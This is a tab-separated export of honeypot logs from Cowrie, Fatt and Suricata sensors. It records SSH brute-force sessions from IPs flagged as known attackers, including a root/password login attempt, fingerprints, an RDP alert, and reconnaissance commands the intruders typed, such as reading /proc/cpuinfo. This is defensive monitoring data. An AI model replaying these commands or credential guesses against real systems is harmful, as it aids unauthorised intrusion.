19789	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:00:46.340571+03	2021-09-20 14:15:01.55065+03	{"_id": "SAXdAnwBvYTbRNuEj_Uz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:58105 (192.168.176.2:22) [session: aa89855f6900]", "session": "aa89855f6900", "@version": "1", "protocol": "ssh", "src_port": 58105, "dest_port": 22, "timestamp": "2021-09-20T11:00:46.340571Z", "@timestamp": "2021-09-20T11:00:46.340Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
19790	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:00:46.34189+03	2021-09-20 14:15:01.551643+03	{"_id": "SQXdAnwBvYTbRNuEj_Uz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58105, "timestamp": "2021-09-20T11:00:46.341890", "@timestamp": "2021-09-20T11:00:46.341Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
19791	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:00:47.053772+03	2021-09-20 14:15:01.553642+03	{"_id": "TAXdAnwBvYTbRNuEkvVK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 28028, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2599, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1910641600220397, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 37949, "timestamp": "2021-09-20T11:00:47.053772Z", "@timestamp": "2021-09-20T11:00:47.053Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
19792	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:47.19368+03	2021-09-20 14:15:01.554643+03	{"_id": "UwXdAnwBvYTbRNuEk_V4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "355afc3fd41b", "@version": "1", "duration": 2.76997447013855, "timestamp": "2021-09-20T11:00:47.193680Z", "@timestamp": "2021-09-20T11:00:47.193Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
19793	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:00:47.166475+03	2021-09-20 14:15:01.556614+03	{"_id": "VwXdAnwBvYTbRNuEk_V4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34652, "timestamp": "2021-09-20T11:00:47.166475", "@timestamp": "2021-09-20T11:00:47.166Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
19794	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:48.554112+03	2021-09-20 14:15:01.557613+03	{"_id": "WQXdAnwBvYTbRNuEl_UD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:48.554112Z", "@timestamp": "2021-09-20T11:00:48.554Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19795	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:49.119447+03	2021-09-20 14:15:01.558613+03	{"_id": "YwXdAnwBvYTbRNuEmvXs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "119.29.153.168", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "341f760f2101", "@version": "1", "duration": 0.5659587383270264, "duplicate": true, "timestamp": "2021-09-20T11:00:49.119447Z", "@timestamp": "2021-09-20T11:00:49.119Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
19796	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:49.545643+03	2021-09-20 14:15:01.559613+03	{"_id": "XgXdAnwBvYTbRNuEmvXs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "Enter new UNIX password:", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.failed", "message": "Command not found: Enter new UNIX password:", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:49.545643Z", "@timestamp": "2021-09-20T11:00:49.545Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.failed	\N	known attacker	\N
19797	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:50.514826+03	2021-09-20 14:15:01.561612+03	{"_id": "ZgXdAnwBvYTbRNuEnvXV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.params", "message": [], "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:50.514826Z", "@timestamp": "2021-09-20T11:00:50.514Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19798	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:00:50.553201+03	2021-09-20 14:15:01.562613+03	{"_id": "aAXdAnwBvYTbRNuEnvXV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/1qa2ws] failed", "session": "aa89855f6900", "@version": "1", "password": "1qa2ws", "username": "root", "timestamp": "2021-09-20T11:00:50.553201Z", "@timestamp": "2021-09-20T11:00:50.553Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
19799	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:51.472713+03	2021-09-20 14:15:01.563613+03	{"_id": "agXdAnwBvYTbRNuEovW-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:51.472713Z", "@timestamp": "2021-09-20T11:00:51.472Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
19800	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:00:51.816389+03	2021-09-20 14:15:01.565613+03	{"_id": "awXdAnwBvYTbRNuEovW-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "aa89855f6900", "@version": "1", "duration": 5.47511887550354, "timestamp": "2021-09-20T11:00:51.816389Z", "@timestamp": "2021-09-20T11:00:51.816Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
19801	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:00:49.000313+03	2021-09-20 14:15:01.566613+03	{"_id": "dQXdAnwBvYTbRNuEqfW9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T10:59:48.442615+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "94.232.41.165", "flow_id": 1726709621899511, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 39129, "timestamp": "2021-09-20T11:00:49.000313Z", "@timestamp": "2021-09-20T11:00:49.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
19802	132.148.165.94	109.199.241.180	Fatt	2021-09-20 14:00:53.111691+03	2021-09-20 14:15:01.568613+03	{"_id": "dwXdAnwBvYTbRNuEqvVb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "132.148.165.94", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 54374, "dest_port": 22, "timestamp": "2021-09-20T11:00:53.111691", "@timestamp": "2021-09-20T11:00:53.111Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
19803	132.148.165.94	109.199.241.180	Cowrie	2021-09-20 14:00:52.988476+03	2021-09-20 14:15:01.569613+03	{"_id": "eAXdAnwBvYTbRNuEqvWQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "132.148.165.94", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 132.148.165.94:54374 (192.168.176.2:22) [session: 94001d4d4fd2]", "session": "94001d4d4fd2", "@version": "1", "protocol": "ssh", "src_port": 54374, "dest_port": 22, "timestamp": "2021-09-20T11:00:52.988476Z", "@timestamp": "2021-09-20T11:00:52.988Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
19804	132.148.165.94	109.199.241.180	Cowrie	2021-09-20 14:00:53.112367+03	2021-09-20 14:15:01.570614+03	{"_id": "eQXdAnwBvYTbRNuEqvWQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "132.148.165.94", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "94001d4d4fd2", "@version": "1", "timestamp": "2021-09-20T11:00:53.112367Z", "@timestamp": "2021-09-20T11:00:53.112Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
19805	132.148.165.94	109.199.241.180	Cowrie	2021-09-20 14:00:52.998414+03	2021-09-20 14:15:01.572614+03	{"_id": "fQXdAnwBvYTbRNuEqvWQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "132.148.165.94", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "94001d4d4fd2", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:00:52.998414Z", "@timestamp": "2021-09-20T11:00:52.998Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
19806	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:53.353832+03	2021-09-20 14:15:01.573614+03	{"_id": "fgXdAnwBvYTbRNuEqvWQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.params", "message": [], "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:53.353832Z", "@timestamp": "2021-09-20T11:00:53.353Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
19807	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:00:53.354378+03	2021-09-20 14:15:01.574613+03	{"_id": "fwXdAnwBvYTbRNuEqvWQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "341f760f2101", "@version": "1", "timestamp": "2021-09-20T11:00:53.354378Z", "@timestamp": "2021-09-20T11:00:53.354Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
